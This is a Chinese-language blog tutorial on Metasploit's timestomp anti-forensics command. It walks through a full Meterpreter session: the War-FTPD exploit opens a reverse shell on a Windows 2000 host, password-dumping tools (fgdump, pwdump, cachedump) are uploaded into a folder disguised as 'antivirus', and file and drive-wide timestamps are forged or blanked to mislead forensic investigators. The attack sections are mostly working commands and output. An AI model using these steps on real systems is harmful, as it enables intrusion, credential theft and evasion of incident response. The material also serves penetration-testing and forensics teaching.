Metasploit TimeStomp(无痕访问/操作)

与大多数文件系统交互就像走在雪地里......你会留下脚印。这些足迹的详细程度,从他们身上可以学到多少,以及他们持续多久都取决于各种情况。分析这些足迹的艺术是数字取证。出于各种原因,在进行渗透测试时,您可能希望让法医分析师很难确定您采取的操作。

 

避免法医调查检测的最好方法很简单:不要触摸文件系统!这是Meterpreter的优点之一,它将内存加载到内存中,而不会将任何内容写入磁盘,从而大大减少了它在系统上留下的工件。但是,在很多情况下,您可能不得不以某种方式与文件系统进行交互。在这些情况下,timestomp可以是一个很好的工具。

 

让我们看看系统上的文件和文件的MAC(修改,访问,更改)时间:

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 5/3/2009 2:30:08 AM
Last Accessed: 5/3/2009 2:31:39 AM
Last Modified: 5/3/2009 2:30:36 AM

 

现在我们将开始利用该系统并加载一个Meterpreter会话。之后,我们将加载timestomp模块,并快速查看相关文件。

sf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)
meterpreter > use priv
Loading extension priv...success.
meterpreter > timestomp -h

Usage: timestomp OPTIONS file_path

OPTIONS:

    -a   设置文件的“上次访问”时间
    -b   设置MACE时间戳,以便EnCase显示空白
    -c   设置文件的“创建”时间
    -e   设置文件的“mft条目修改”时间
    -f   设置属性的MACE等于提供的文件
    -h   帮助横幅
    -m   设置文件的“上次写入”时间
    -r   在目录上递归地设置MACE时间戳
    -v   显示文件的UTC MACE值
    -z   设置文件的全部四个属性(MACE)

meterpreter > pwd
C:\Program Files\War-ftpd
meterpreter > cd ..
meterpreter > pwd
C:Program Files
meterpreter > cd ..
meterpreter > cd Documents\ and\ Settings
meterpreter > cd P0WN3D
meterpreter > cd My\ Documents
meterpreter > ls

Listing: C:\Documents and Settings\P0WN3D\My Documents
======================================================

Mode              Size  Type  Last modified                   Name        
----              ----  ----  -------------                   ----        
40777/rwxrwxrwx   0     dir   Wed Dec 31 19:00:00 -0500 1969  .           
40777/rwxrwxrwx   0     dir   Wed Dec 31 19:00:00 -0500 1969  ..          
40555/r-xr-xr-x   0     dir   Wed Dec 31 19:00:00 -0500 1969  My Pictures 
100666/rw-rw-rw-  28    fil   Wed Dec 31 19:00:00 -0500 1969  test.txt
meterpreter > timestomp test.txt -v
Modified      : Sun May 03 04:30:36 -0400 2009
Accessed      : Sun May 03 04:31:51 -0400 2009
Created       : Sun May 03 04:30:08 -0400 2009
Entry Modified: Sun May 03 04:31:44 -0400 2009

 

我们来看看显示的MAC时间。我们看到该文件是最近创建的。让我们假装一分钟,这是一个我们需要隐藏的超级秘密工具。一种方法可能是将MAC时间设置为与系统上另一个文件的MAC时间相匹配。让我们将MAC时间从cmd.exe复制到test.txt中,使其更好地融合。

meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe
[*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe
meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:14:51 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009

 

我们走了!现在看起来好像text.txt文件是在1999年12月7日创建的。让我们看看它是如何从Windows看起来的。

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM
Last Modified: 12/7/1999 7:00:00 AM

成功!注意,通过Windows和Metasploit,时间之间有一些细微的差异。这是由于时区显示的方式。Windows以-0600显示时间,而Metasploit显示MC时间为-0500。根据时区差异调整后,我们可以看到它们匹配。另请注意,在Windows中检查文件信息的行为改变了上次访问时间。这只是表明MAC时代的脆弱性,以及为什么在与它们互动时需要非常小心。

 

现在让我们做一个不同的改变。在前面的例子中,我们希望将这些变化融合在一起,但在某些情况下,这样做并不现实,而且您希望的最好做法是让研究人员更难确定实际发生变化的时间。对于这些情况,timestomp有一个很好的选项(-b表示空白),它将文件的MAC时间清零。让我们来看看。

meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:16:20 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009

meterpreter > timestomp test.txt -b
[*] Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v
Modified      : 2106-02-06 23:28:15 -0700
Accessed      : 2106-02-06 23:28:15 -0700
Created       : 2106-02-06 23:28:15 -0700
Entry Modified: 2106-02-06 23:28:15 -0700

 

在解析MAC时间时,timestomp现在将它们列为已在2106年创建的!这是非常有趣的,因为一些写得不好的取证工具有同样的问题,遇到像这样的条目时会崩溃。我们来看看这个文件在Windows中的外观。

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 1/1/1601
Last Accessed: 5/3/2009 3:21:13 AM
Last Modified: 1/1/1601

 

很有意思!请注意,时间不再显示,数据将设置为1601年1月1日。任何想法为什么可能是这种情况?

今年1月1日(1601-01-01)被用作文件日期的基础和Active Directory登录日期的,通过微软的Windows。这也是ANSI日期计算的日期,并且被美国国家标准学会采用,用于COBOL和其他计算机语言。这个时代是数字文件首次出现的400年格里历闰年周期的开始; 任何这样的周期的最后一年是唯一的闰年,其年份数可以被100整除。从Windows 95开始的所有版本的Microsoft Windows操作系统都从这个时代开始计算单位为一百纳秒。

meterpreter > cd C:\\WINNT
meterpreter > mkdir antivirus
Creating directory: antivirus
meterpreter > cd antivirus
meterpreter > pwd
C:\WINNT\antivirus
meterpreter > upload /usr/share/windows-binaries/fgdump c:\\WINNT\\antivirus\\
[*] uploading  : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe
[*] uploaded   : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe
[*] uploading  : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt.dll
[*] uploaded   : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt.dll
[*] uploading  : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice.exe
[*] uploaded   : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice.exe
meterpreter > ls

Listing: C:\WINNT\antivirus
===========================

Mode              Size    Type  Last modified                   Name          
----              ----    ----  -------------                   ----          
100777/rwxrwxrwx  174080  fil   2017-05-09 15:23:19 -0600  cachedump64.exe
100777/rwxrwxrwx  57344   fil   2017-05-09 15:23:20 -0600  pstgdump.exe
100777/rwxrwxrwx  57344   fil   2017-05-09 15:23:18 -0600  servpw.exe
meterpreter > cd ..

 

随着我们的文件上传,我们现在将运行timestomp来混淆任何潜在的调查者。

meterpreter > timestomp antivirus\\servpw.exe -v
Modified      : 2017-05-09 16:23:18 -0600
Accessed      : 2017-05-09 16:23:18 -0600
Created       : 2017-05-09 16:23:18 -0600
Entry Modified: 2017-05-09 16:23:18 -0600
meterpreter > timestomp antivirus\\pstgdump.exe -v
Modified      : 2017-05-09 16:23:20 -0600
Accessed      : 2017-05-09 16:23:19 -0600
Created       : 2017-05-09 16:23:19 -0600
Entry Modified: 2017-05-09 16:23:20 -0600
meterpreter > timestomp antivirus -r
[*] Blanking directory MACE attributes on antivirus

meterpreter > ls
40777/rwxrwxrwx   0      dir   1980-01-01 00:00:00 -0700  ..
100666/rw-rw-rw-  115    fil   2106-02-06 23:28:15 -0700  servpw.exe
100666/rw-rw-rw-  12165  fil   2106-02-06 23:28:15 -0700  pstgdump.exe

正如你所看到的,Meterpreter不能再获得正确的目录列表。

 

但是,在这种情况下需要考虑一些事情。当发生行动时我们已经隐藏起来,但对于发生活动的调查人员来说,这仍然是非常明显的。如果我们想要在上传工具包时以及在哪里上传工具时隐藏两者,我们会做什么?

 

解决这个问题的最简单方法是将整个驱动器的时间归零。这将使调查员的工作变得非常困难,因为传统的时间表分析是不可能的。我们先看看我们的 WINNT\system32 目录。WINNT\system32

 

一切都很正常。现在,让我们撼动文件系统非常糟糕!

meterpreter > pwd
C:WINNT\antivirus
meterpreter > cd ../..
meterpreter > pwd
C:
meterpreter > ls

Listing: C:\
============

Mode              Size       Type  Last modified                   Name                      
----              ----       ----  -------------                   ----                      
100777/rwxrwxrwx  0          fil   Wed Dec 31 19:00:00 -0500 1969  AUTOEXEC.BAT              
100666/rw-rw-rw-  0          fil   Wed Dec 31 19:00:00 -0500 1969  CONFIG.SYS                
40777/rwxrwxrwx   0          dir    Wed Dec 31 19:00:00 -0500 1969  Documents and Settings    
100444/r--r--r--  0          fil   Wed Dec 31 19:00:00 -0500 1969  IO.SYS                    
100444/r--r--r--  0          fil   Wed Dec 31 19:00:00 -0500 1969  MSDOS.SYS                 
100555/r-xr-xr-x  34468      fil   Wed Dec 31 19:00:00 -0500 1969  NTDETECT.COM              
40555/r-xr-xr-x   0          dir   Wed Dec 31 19:00:00 -0500 1969  Program Files             
40777/rwxrwxrwx   0          dir   Wed Dec 31 19:00:00 -0500 1969  RECYCLER                  
40777/rwxrwxrwx   0          dir   Wed Dec 31 19:00:00 -0500 1969  System Volume Information 
40777/rwxrwxrwx   0          dir   Wed Dec 31 19:00:00 -0500 1969  WINNT                     
100555/r-xr-xr-x  148992     fil   Wed Dec 31 19:00:00 -0500 1969  arcldr.exe                
100555/r-xr-xr-x  162816     fil   Wed Dec 31 19:00:00 -0500 1969  arcsetup.exe              
100666/rw-rw-rw-  192        fil   Wed Dec 31 19:00:00 -0500 1969  boot.ini                  
100444/r--r--r--  214416     fil   Wed Dec 31 19:00:00 -0500 1969  ntldr                     
100666/rw-rw-rw-  402653184  fil   Wed Dec 31 19:00:00 -0500 1969  pagefile.sys              

meterpreter > timestomp C:\\ -r
[*] Blanking directory MACE attributes on C:\
meterpreter > ls
meterpreter > ls

Listing: C:\
============

Mode              Size       Type  Last modified              Name
----              ----       ----  -------------              ----
100777/rwxrwxrwx  0          fil   2106-02-06 23:28:15 -0700  AUTOEXEC.BAT
100666/rw-rw-rw-  0          fil   2106-02-06 23:28:15 -0700  CONFIG.SYS
100666/rw-rw-rw-  0          fil   2106-02-06 23:28:15 -0700  Documents and Settings
100444/r--r--r--  0          fil   2106-02-06 23:28:15 -0700  IO.SYS
100444/r--r--r--  0          fil   2106-02-06 23:28:15 -0700  MSDOS.SYS
100555/r-xr-xr-x  47564      fil   2106-02-06 23:28:15 -0700  NTDETECT.COM
...snip...

 

那么,在那之后Windows会看到什么?timestomp  windows驱动器的时间归零

 

惊奇吗?Windows不知道发生了什么,并且在各处显示疯狂的时刻。但是不要过分自信。通过采取这一行动,您也很明显地发现系统出现了一些不利的行为。此外,除了MAC时间之外,Windows系统上还有许多不同的时间线信息源。如果一位法医调查人员遇到了以这种方式进行了修改的系统,他们将会跑向这些替代信息源。但是,进行调查的成本却上升了。

    A+
发布日期:2018年06月03日 15:50:33  所属分类:Metasploit
最后更新时间:2018-06-03 15:50:33
付杰
  • ¥ 68.0元
  • 市场价:168.0元
  • ¥ 68.0元
  • 市场价:128.0元
  • ¥ 49.0元
  • 市场价:199.0元
  • ¥ 199.0元
  • 市场价:399.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: